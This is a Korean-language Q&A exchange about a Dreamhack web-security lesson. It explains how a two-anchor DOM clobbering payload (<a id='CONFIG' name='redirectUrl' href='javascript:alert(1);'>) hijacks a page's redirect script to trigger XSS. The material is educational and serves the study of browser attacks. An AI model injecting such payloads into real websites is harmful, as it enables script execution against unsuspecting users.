https://learn.dreamhack.io/326#7
위의 링크에서
<!-- HTML CODE IS INJECTED HERE -->
<div id="config_status" style="white-space: pre;"></div>
<script>
if (window.CONFIG) {
if (CONFIG.redirectUrl) {
location.href = CONFIG.redirectUrl
} else {
document.write("<h1>redirectUrl is empty</h1>")
}
} else {
document.write("<h1>CONFIG is not defined.</h1>")
}
status = "CONFIG: " + (window.CONFIG||"NOT DEFINED")
status += "\r\n"
status += "CONFIG.redirectUrl: " + (window.CONFIG?window.CONFIG.redirectUrl||"NOT DEFINED":"NOT DEFINED")
config_status.textContent = status
</script>
에서 DOM Clobbering이 일어나게 하기 위해서는
<a id="CONFIG" name="redirectUrl" href="javascript:alert(1);"></a>
<a id="CONFIG"></a>
을 삽입해야 한다고 되어 있는데, 마지막에 <a id="CONFIG"></a>
가 왜 필요한지 잘 모르겠습니다. if 절에서 window.CONFIG
를 하게 되면 <a id="CONFIG" name="redirectUrl" href="javascript:alert(1);"></a>
<- 이 DOM 을 선택하게 되어 if(window.CONFIG)
가 참이 되고 그 아래에 있는 값들도 전부 참이 되어 결과적으로 location.href=CONFIG.redirectUrl
이 실행될것이라고 생각했는데, <a id="CONFIG"></a>
가 없으면 실행이 안되네요.. 이유가 어떻게 되는 지 궁금합니다.
<a id="CONFIG" name="redirectUrl" href="javascript:alert(1);"></a>
위의 페이로드를 사용할 경우 일단 window.CONFIG를 출력 시키면 위의 요소가 그대로 출력될 것입니다. 그러나 이 경우에는 CONFIG.redirectUrl라는 프로퍼티는 존재하지 않기에 접근할 수 없습니다. 그러니 CONFIG.redirectUrl은 undefined가 됩니다.
<a id="CONFIG" name="redirectUrl" href="javascript:alert(1);"></a>
<a id="CONFIG"></a>
> HTMLCollection(2) [a#CONFIG, a#CONFIG, CONFIG: a#CONFIG, redirectUrl: a#CONFIG]
그러나 위의 페이로드를 사용할 경우에는 window.CONFIG의 반환 값이 Collection인 것을 확인할 수 있을 겁니다. 이 Collection을 보면 redirectUrl은 a#CONFIG 요소를 가르키고 있는 것을 볼 수 있고, 이에 따라서 CONFIG.redirectUrl은 A 태그 요소를 가르킬 것 입니다. 이때 location.href에서는 toString()을 사용하는데 A 태그의 toString() 값은 href 값이기 때문에 location.href = 'javascript:alert()
가 되어 정상적으로 XSS가 트리거 되는 것 입니당